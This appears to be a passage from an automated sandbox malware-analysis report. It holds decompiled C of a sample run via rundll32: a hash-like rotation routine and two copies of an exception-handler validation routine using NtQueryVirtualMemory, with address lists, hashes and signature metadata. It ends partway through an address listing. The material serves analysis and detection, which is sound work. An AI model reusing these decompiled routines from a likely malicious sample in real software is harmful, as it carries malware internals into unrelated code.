				_t724 = ( !_t241 & _t363 | _t416 & _t241) + _v44 + _t722 + 0x455a14ed + _t416;
				asm("rol eax, 0x5");
				_t243 = ( !_t363 & _t416 | _t363 & _t724) + _v24 + _t241 - 0x561c16fb + _t724;
				asm("rol ecx, 0x9");
				_t365 = ( !_t416 & _t724 | _t416 & _t243) + _v68 + _t363 - 0x3105c08 + _t243;
				asm("rol edx, 0xe");
				_t418 = ( !_t724 & _t243 | _t365 & _t724) + _v48 + _t416 + 0x676f02d9 + _t365;
				asm("ror esi, 0xc");
				_t726 = ( !_t243 & _t365 | _t418 & _t243) + _v28 + _t724 - 0x72d5b376 + _t418;
				asm("rol eax, 0x4");
				_t245 = (_t365 ^ _t418 ^ _t726) + _v56 + _t243 - 0x5c6be + _t726;
				asm("rol ecx, 0xb");
				_t367 = (_t418 ^ _t726 ^ _t245) + _v44 + _t365 - 0x788e097f + _t245;
				asm("rol edx, 0x10");
				_t420 = (_t367 ^ _t726 ^ _t245) + _v32 + _t418 + 0x6d9d6122 + _t367;
				_t599 = _t367 ^ _t420;
				asm("ror esi, 0x9");
				_t728 = (_t599 ^ _t245) + _v20 + _t726 - 0x21ac7f4 + _t420;
				asm("rol eax, 0x4");
				_t247 = (_t599 ^ _t728) + _v72 + _t245 - 0x5b4115bc + _t728;
				asm("rol edi, 0xb");
				_t607 = (_t420 ^ _t728 ^ _t247) + _v60 + _t367 + 0x4bdecfa9 + _t247;
				asm("rol edx, 0x10");
				_t422 = (_t607 ^ _t728 ^ _t247) + _v48 + _t420 - 0x944b4a0 + _t607;
				_t338 = _t607 ^ _t422;
				asm("ror ecx, 0x9");
				_t376 = (_t338 ^ _t247) + _v36 + _t728 - 0x41404390 + _t422;
				asm("rol eax, 0x4");
				_t249 = (_t338 ^ _t376) + _v24 + _t247 + 0x289b7ec6 + _t376;
				asm("rol esi, 0xb");
				_t734 = (_t422 ^ _t376 ^ _t249) + _v76 + _t607 - 0x155ed806 + _t249;
				asm("rol edi, 0x10");
				_t613 = (_t734 ^ _t376 ^ _t249) + _v64 + _t422 - 0x2b10cf7b + _t734;
				_t424 = _t734 ^ _t613;
				asm("ror ecx, 0x9");
				_t378 = (_t424 ^ _t249) + _v52 + _t376 + 0x4881d05 + _t613;
				asm("rol eax, 0x4");
				_t251 = (_t424 ^ _t378) + _v40 + _t249 - 0x262b2fc7 + _t378;
				asm("rol edx, 0xb");
				_t432 = (_t613 ^ _t378 ^ _t251) + _v28 + _t734 - 0x1924661b + _t251;
				asm("rol esi, 0x10");
				_t740 = (_t432 ^ _t378 ^ _t251) + _v16 + _t613 + 0x1fa27cf8 + _t432;
				asm("ror ecx, 0x9");
				_t380 = (_t432 ^ _t740 ^ _t251) + _v68 + _t378 - 0x3b53a99b + _t740;
				asm("rol eax, 0x6");
				_t253 = (( !_t432 | _t380) ^ _t740) + _v76 + _t251 - 0xbd6ddbc + _t380;
				asm("rol edx, 0xa");
				_t434 = (( !_t740 | _t253) ^ _t380) + _v48 + _t432 + 0x432aff97 + _t253;
				asm("rol esi, 0xf");
				_t742 = (( !_t380 | _t434) ^ _t253) + _v20 + _t740 - 0x546bdc59 + _t434;
				asm("ror ecx, 0xb");
				_t382 = (( !_t253 | _t742) ^ _t434) + _v56 + _t380 - 0x36c5fc7 + _t742;
				asm("rol eax, 0x6");
				_t255 = (( !_t434 | _t382) ^ _t742) + _v28 + _t253 + 0x655b59c3 + _t382;
				asm("rol edx, 0xa");
				_t436 = (( !_t742 | _t255) ^ _t382) + _v64 + _t434 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t744 = (( !_t382 | _t436) ^ _t255) + _v36 + _t742 - 0x100b83 + _t436;
				asm("ror ecx, 0xb");
				_t384 = (( !_t255 | _t744) ^ _t436) + _v72 + _t382 - 0x7a7ba22f + _t744;
				asm("rol eax, 0x6");
				_t257 = (( !_t436 | _t384) ^ _t744) + _v44 + _t255 + 0x6fa87e4f + _t384;
				asm("rol edx, 0xa");
				_t438 = (( !_t744 | _t257) ^ _t384) + _v16 + _t436 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t746 = (( !_t384 | _t438) ^ _t257) + _v52 + _t744 - 0x5cfebcec + _t438;
				asm("ror edi, 0xb");
				_t679 = (( !_t257 | _t746) ^ _t438) + _v24 + _t384 + 0x4e0811a1 + _t746;
				asm("rol eax, 0x6");
				_t259 = (( !_t438 | _t679) ^ _t746) + _v60 + _t257 - 0x8ac817e + _t679;
				asm("rol edx, 0xa");
				_t440 = (( !_t746 | _t259) ^ _t679) + _v32 + _t438 - 0x42c50dcb + _t259;
				_t400 = _a4;
				asm("rol esi, 0xf");
				_t748 = (( !_t679 | _t440) ^ _t259) + _v68 + _t746 + 0x2ad7d2bb + _t440;
				 *_t400 =  *_t400 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t400 + 4)) = (( !_t259 | _t748) ^ _t440) + _v40 + _t679 - 0x14792c6f +  *((intOrPtr*)(_t400 + 4)) + _t748;
				 *((intOrPtr*)(_t400 + 8)) =  *((intOrPtr*)(_t400 + 8)) + _t748;
				 *((intOrPtr*)(_t400 + 0xc)) =  *((intOrPtr*)(_t400 + 0xc)) + _t440;
				return memset( &_v76, 0, 0x40);
			}

0x010f4bf4
0x010f4bff
0x010f4c02
0x010f4c05
0x010f4c06
0x010f4c24
0x010f4c26
0x010f4c29
0x010f4c2c
0x010f4c2c
0x010f4c2f
0x010f4c2f
0x010f4c32
0x010f4c32
0x010f4c35
0x010f4c35
0x010f4c52
0x010f4c55
0x010f4c6b
0x010f4c6e
0x010f4c88
0x010f4c8b
0x010f4ca1
0x010f4ca4
0x010f4ca6
0x010f4cbe
0x010f4cc1
0x010f4cc4
0x010f4cdc
0x010f4cdf
0x010f4cf9
0x010f4cfc
0x010f4d12
0x010f4d15
0x010f4d17
0x010f4d2f
0x010f4d34
0x010f4d37
0x010f4d4d
0x010f4d50
0x010f4d6a
0x010f4d6d
0x010f4d83
0x010f4d86
0x010f4d88
0x010f4da3
0x010f4da6
0x010f4dbd
0x010f4dc0
0x010f4dc4
0x010f4ddd
0x010f4de0
0x010f4de2
0x010f4de5
0x010f4e00
0x010f4e03
0x010f4e1c
0x010f4e1f
0x010f4e2f
0x010f4e32
0x010f4e4a
0x010f4e4d
0x010f4e67
0x010f4e6a
0x010f4e82
0x010f4e85
0x010f4e9b
0x010f4e9e
0x010f4eb6
0x010f4eb9
0x010f4ed1
0x010f4ed4
0x010f4eee
0x010f4ef1
0x010f4f07
0x010f4f0a
0x010f4f22
0x010f4f25
0x010f4f3f
0x010f4f42
0x010f4f5a
0x010f4f5d
0x010f4f73
0x010f4f76
0x010f4f8e
0x010f4f91
0x010f4fa9
0x010f4fac
0x010f4fbe
0x010f4fc1
0x010f4fd3
0x010f4fd6
0x010f4fe8
0x010f4feb
0x010f4fef
0x010f4fff
0x010f5002
0x010f5010
0x010f5013
0x010f5025
0x010f5028
0x010f503c
0x010f503f
0x010f5041
0x010f5051
0x010f5054
0x010f5066
0x010f5069
0x010f5077
0x010f507a
0x010f508c
0x010f508f
0x010f5093
0x010f50a3
0x010f50a6
0x010f50b8
0x010f50bb
0x010f50c9
0x010f50cc
0x010f50de
0x010f50e1
0x010f50f3
0x010f50f6
0x010f510a
0x010f510d
0x010f5121
0x010f5124
0x010f5138
0x010f513b
0x010f514f
0x010f5152
0x010f5166
0x010f5169
0x010f517d
0x010f5182
0x010f5194
0x010f5197
0x010f51ab
0x010f51ae
0x010f51c2
0x010f51c5
0x010f51db
0x010f51de
0x010f51f2
0x010f51f5
0x010f5207
0x010f520a
0x010f521e
0x010f5221
0x010f5235
0x010f5238
0x010f524c
0x010f5255
0x010f5258
0x010f5261
0x010f526a
0x010f5272
0x010f527a
0x010f5284
0x010f5299

APIs

memset.NTDLL ref: 010F528D

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: b84fae2424a8dea2ca03a1429469610375b5738a21d8790c4dd2bcffc4a620be
Instruction ID: 1422270cda8d97d1dd0649d801725dce5cd6aeaf51b663f3a1f3f6e53f4fcc13
Opcode Fuzzy Hash: b84fae2424a8dea2ca03a1429469610375b5738a21d8790c4dd2bcffc4a620be
Instruction Fuzzy Hash: 6C22847BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 008F2495 Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E008F2495(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x8f41f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x8f4240 = 1;
										__eflags =  *0x8f4240;
										if( *0x8f4240 != 0) {
											goto L60;
										}
										_t84 =  *0x8f41f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x8f4240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x8f41f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x8f4200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x8f41fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x8f4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x8f4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x8f4240 = 1;
							__eflags =  *0x8f4240;
							if( *0x8f4240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x8f4200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x8f4200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x8f4240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x8f4200 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x8f41f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x8f4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x8f4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x008f249f
0x008f24a2
0x008f24a8
0x008f24c6
0x00000000
0x008f24c6
0x008f24b0
0x008f24b9
0x008f24bf
0x008f24ce
0x008f24d1
0x008f24d4
0x008f24de
0x008f24de
0x008f24e0
0x008f24e3
0x008f24e5
0x008f24e5
0x008f24e7
0x008f24ea
0x00000000
0x00000000
0x008f24ec
0x008f24ee
0x008f2554
0x008f2554
0x008f26b2
0x00000000
0x008f26b2
0x008f24f0
0x008f24f0
0x008f24f4
0x008f24f6
0x008f24f6
0x008f24f6
0x008f24f6
0x008f24f9
0x008f24fa
0x008f24fd
0x008f24fd
0x008f2501
0x008f2505
0x008f2513
0x008f2513
0x008f251b
0x008f2521
0x008f2523
0x008f2525
0x008f2535
0x008f2542
0x008f2546
0x008f254b
0x008f254d
0x008f25cb
0x008f25cb
0x008f254f
0x008f254f
0x008f254f
0x008f25cd
0x008f25cf
0x008f26b0
0x008f26b0
0x00000000
0x008f25d5
0x008f25d5
0x008f25dc
0x00000000
0x00000000
0x008f25e2
0x008f25e6
0x008f2642
0x008f2644
0x008f264c
0x008f264e
0x008f2650
0x00000000
0x00000000
0x008f2652
0x008f2658
0x008f265a
0x008f265c
0x008f2671
0x008f2671
0x008f2673
0x008f26a2
0x008f26a9
0x00000000
0x008f26a9
0x008f2677
0x008f2678
0x008f267a
0x008f267c
0x008f267c
0x008f267e
0x008f2680
0x008f2682
0x008f2696
0x008f2696
0x008f2699
0x008f269b
0x008f269b
0x008f269c
0x008f269c
0x00000000
0x008f2684
0x008f2684
0x008f2684
0x008f268d
0x008f268e
0x008f2690
0x008f2692
0x008f2692
0x00000000
0x008f2684
0x008f2682
0x008f265e
0x008f2665
0x008f2665
0x008f2667
0x00000000
0x00000000
0x008f2669
0x008f266a
0x008f266d
0x008f266f
0x00000000
0x00000000
0x00000000
0x008f266f
0x00000000
0x008f2665
0x008f25e8
0x008f25eb
0x008f25f0
0x00000000
0x00000000
0x008f25f9
0x008f25fb
0x008f2601
0x00000000
0x00000000
0x008f2607
0x008f260d
0x00000000
0x00000000
0x008f2613
0x008f2615
0x008f261e
0x008f2622
0x00000000
0x00000000
0x008f2628
0x008f262b
0x008f262d
0x00000000
0x00000000
0x008f2634
0x008f2636
0x00000000
0x00000000
0x008f2638
0x008f263c
0x00000000
0x00000000
0x00000000
0x008f263c
0x00000000
0x00000000
0x00000000
0x008f2527
0x008f2527
0x008f2527
0x008f252e
0x00000000
0x00000000
0x008f2530
0x008f2531
0x008f2533
0x00000000
0x00000000
0x00000000
0x008f2533
0x008f255b
0x008f255d
0x00000000
0x00000000
0x008f256d
0x008f256f
0x008f2571
0x00000000
0x00000000
0x008f2577
0x008f257e
0x008f25aa
0x008f25aa
0x008f25ac
0x008f25ae
0x008f25c2
0x008f25c4
0x00000000
0x00000000
0x00000000
0x00000000
0x008f25b0
0x008f25b0
0x008f25b0
0x008f25b9
0x008f25ba
0x008f25bc
0x008f25be
0x008f25be
0x00000000
0x008f25b0
0x008f2580
0x008f2583
0x008f2585
0x008f2597
0x008f2597
0x008f259a
0x008f259c
0x008f259c
0x008f259d
0x008f259d
0x008f25a3
0x00000000
0x00000000
0x00000000
0x00000000
0x008f2587
0x008f2587
0x008f2587
0x008f258e
0x00000000
0x00000000
0x008f2590
0x008f2590
0x008f2591
0x00000000
0x00000000
0x00000000
0x008f2591
0x008f2593
0x008f2595
0x008f25a8
0x00000000
0x00000000
0x00000000
0x008f25a8
0x00000000
0x008f2595
0x008f2507
0x008f250a
0x008f250d
0x00000000
0x00000000
0x008f250f
0x008f2511
0x00000000
0x00000000
0x00000000
0x008f2511
0x008f24d6
0x008f24d8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 008F2546

Memory Dump Source

Source File: 00000002.00000002.784048196.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000002.00000002.784041788.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784070851.00000000008F3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784094109.00000000008F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.784106202.00000000008F6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_8f0000_rundll32.jbxd

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 57a7f2b4a30848506349d20ef891201a4bed77be6ea367a91e83a8bd15289234
Instruction ID: 3d0b9660a034de236d705ab83ef0ba3ee41e45ae4da8238f5493b85d63cd95fd
Opcode Fuzzy Hash: 57a7f2b4a30848506349d20ef891201a4bed77be6ea367a91e83a8bd15289234
Instruction Fuzzy Hash: E861B03060060E8FDB69CF3CD8A0A7A73A1FBA8318B248079DB16C7295E774DC82C750

Uniqueness

Uniqueness Score: -1.00%

Function 010F84C1 Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F84C1(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10fa380; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x10fa3c8 = 1;
										__eflags =  *0x10fa3c8;
										if( *0x10fa3c8 != 0) {
											goto L60;
										}
										_t84 =  *0x10fa380; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x10fa3c8 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10fa380 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10fa388 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x10fa384 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10fa388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10fa388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x10fa3c8 = 1;
							__eflags =  *0x10fa3c8;
							if( *0x10fa3c8 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10fa388 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10fa388 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x10fa3c8 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10fa388 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10fa380 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10fa388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10fa388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x010f84cb
0x010f84ce
0x010f84d4
0x010f84f2
0x00000000
0x010f84f2
0x010f84dc
0x010f84e5
0x010f84eb
0x010f84fa
0x010f84fd
0x010f8500
0x010f850a
0x010f850a
0x010f850c
0x010f850f
0x010f8511
0x010f8511
0x010f8513
0x010f8516
0x00000000
0x00000000
0x010f8518
0x010f851a
0x010f8580
0x010f8580
0x010f86de
0x00000000
0x010f86de
0x010f851c
0x010f851c
0x010f8520
0x010f8522
0x010f8522
0x010f8522
0x010f8522
0x010f8525
0x010f8526
0x010f8529
0x010f8529
0x010f852d
0x010f8531
0x010f853f
0x010f853f
0x010f8547
0x010f854d
0x010f854f
0x010f8551
0x010f8561
0x010f856e
0x010f8572
0x010f8577
0x010f8579
0x010f85f7
0x010f85f7
0x010f857b
0x010f857b
0x010f857b
0x010f85f9
0x010f85fb
0x010f86dc
0x010f86dc
0x00000000
0x010f8601
0x010f8601
0x010f8608
0x00000000
0x00000000
0x010f860e
0x010f8612
0x010f866e
0x010f8670
0x010f8678
0x010f867a
0x010f867c
0x00000000
0x00000000
0x010f867e
0x010f8684
0x010f8686
0x010f8688
0x010f869d
0x010f869d
0x010f869f
0x010f86ce
0x010f86d5
0x00000000
0x010f86d5
0x010f86a3
0x010f86a4
0x010f86a6
0x010f86a8
0x010f86a8
0x010f86aa
0x010f86ac
0x010f86ae
0x010f86c2
0x010f86c2
0x010f86c5
0x010f86c7
0x010f86c7
0x010f86c8
0x010f86c8
0x00000000
0x010f86b0
0x010f86b0
0x010f86b0
0x010f86b9
0x010f86ba
